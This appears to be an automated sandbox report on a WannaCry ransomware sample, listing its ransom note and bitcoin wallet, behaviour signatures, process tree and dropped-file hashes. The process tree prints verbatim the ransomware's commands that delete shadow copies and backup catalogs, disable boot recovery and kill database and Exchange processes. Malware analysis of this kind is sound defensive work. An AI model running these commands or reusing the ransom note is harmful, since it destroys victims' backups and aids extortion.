Resubmissions

27/05/2024, 22:11

240527-14ae9ada4310

27/05/2024, 21:15

240527-z3zhbabd5910

13/02/2024, 12:11

240213-pcwzdshd2w10

13/02/2024, 12:08

240213-pa6qtahc7y10

18/12/2023, 08:13

231218-j4g2nabaf510

05/12/2023, 08:54

231205-kt32taae2710

05/12/2023, 07:41

231205-jjdthahh6w10

05/12/2023, 07:38

231205-jgmcvshh5x10

27/11/2023, 23:37

231127-3mae2adf83

26/11/2023, 09:39

231126-lmxf5agd8710

Analysis

  • max time kernel
    146s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/02/2024, 12:11

General

  • Target
    Malware-database-main/WannaCry.exe
  • Size 224KB
  • Sample240213-pcwzdshd2w
  • SHA256 be22645c61949ad6a077373a7d6cd85e3fae44315632f161adc4c99d5a8e6844
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Path
  • C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!Please Read Me!.txt

  • wannacry

Ransom Note
  • Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1 Next, please find the decrypt software on your desktop, an executable file named "!WannaDecryptor!.exe". If it does not exsit, download the software from the address below. (You may need to disable your antivirus for a while.) rar password: wcry123 Run and follow the instructions! �
Wallets
  • 15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1

Signatures

  • Wannacry

    WannaCry is a ransomware cryptoworm.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Malware-database-main\WannaCry.exe
    "C:\Users\Admin\AppData\Local\Temp\Malware-database-main\WannaCry.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4140
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 49681707826330.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1228
      • C:\Windows\SysWOW64\cscript.exe
        cscript //nologo c.vbs
        3⤵
          PID:4316
      • C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!WannaDecryptor!.exe
        !WannaDecryptor!.exe f
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:3008
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im MSExchange*
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4348
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im sqlwriter.exe
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1584
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im sqlserver.exe
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5060
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im Microsoft.Exchange.*
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1648
      • C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!WannaDecryptor!.exe
        !WannaDecryptor!.exe c
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:2500
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c start /b !WannaDecryptor!.exe v
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1432
        • C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!WannaDecryptor!.exe
          !WannaDecryptor!.exe v
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1508
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2308
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              wmic shadowcopy delete
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:5040
      • C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!WannaDecryptor!.exe
        !WannaDecryptor!.exe
        2⤵
        • Executes dropped EXE
        • Sets desktop wallpaper using registry
        • Suspicious use of SetWindowsHookEx
        PID:4968
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3316

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          !Please Read Me!.txt

          • Path C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!Please Read Me!.txt
          • Size 797B
          • SHA256 227082c719fd4394c1f2311a0877d8a302c5b092bcc49f853a5cf3d2945f42b0
          • MD5 SHA1 SHA512

          !WannaDecryptor!.exe.lnk

          • Path C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!WannaDecryptor!.exe.lnk
          • Size 1KB
          • SHA256 549d4a624f974e277c2ae3ed79d9e51c49e21180567e0eb25ff0b6f708e54b68
          • MD5 SHA1 SHA512

          00000000.res

          • Path C:\Users\Admin\AppData\Local\Temp\Malware-database-main\00000000.res
          • Size 136B
          • SHA256 a26aa323eb71887703a474dcb6037417ff8390c3d78eb8a72655a32782deebd5
          • MD5 SHA1 SHA512

          00000000.res

          • Path C:\Users\Admin\AppData\Local\Temp\Malware-database-main\00000000.res
          • Size 136B
          • SHA256 833ed2bc6797072aee95cd9622eb4e23c52adc185f08f34f33bc79af062e6177
          • MD5 SHA1 SHA512

          00000000.res

          • Path C:\Users\Admin\AppData\Local\Temp\Malware-database-main\00000000.res
          • Size 136B
          • SHA256 affa68b60ac6fd17ad65e91f722ddb1700a0368e59e3439fbc7b5176b35ab655
          • MD5 SHA1 SHA512

          00000000.res

          • Path C:\Users\Admin\AppData\Local\Temp\Malware-database-main\00000000.res
          • Size 136B
          • SHA256 69596a703091fbf280f600ed6b88d777d38ff0f3b7919cf487c4670c2745ff9e
          • MD5 SHA1 SHA512

          49681707826330.bat

          • Path C:\Users\Admin\AppData\Local\Temp\Malware-database-main\49681707826330.bat
          • Size 380B
          • SHA256 04ec40a225b6140fd35a92b66db0ddbcf96d31c4accf7183295c2321be9dcb16
          • MD5 SHA1 SHA512

          c.vbs

          • Path C:\Users\Admin\AppData\Local\Temp\Malware-database-main\c.vbs
          • Size 263B
          • SHA256 04a249282dfa17a672c10ada3dc9a3b71f518b33fdb953ad2f76d88bd60d2c7a
          • MD5 SHA1 SHA512

          c.wry

          • Path C:\Users\Admin\AppData\Local\Temp\Malware-database-main\c.wry
          • Size 628B
          • SHA256 1aa5f944dc7434dd53f1fc176eb0faeff2227c282b075a2c6c789fa221ca7882
          • MD5 SHA1 SHA512

          m.wry

          • Path C:\Users\Admin\AppData\Local\Temp\Malware-database-main\m.wry
          • Size 42KB
          • SHA256 402046ada270528c9ac38bbfa0152836fe30fb8e12192354e53b8397421430d9
          • MD5 SHA1 SHA512 SSDEEP

          u.wry

          • Path C:\Users\Admin\AppData\Local\Temp\Malware-database-main\u.wry
          • Size 236KB
          • SHA256 78e3f87f31688355c0f398317b2d87d803bd87ee3656c5a7c80f0561ec8606df
          • MD5 SHA1 SHA512 SSDEEP

          memory/4140-6-0x0000000010000000-0x0000000010012000-memory.dmp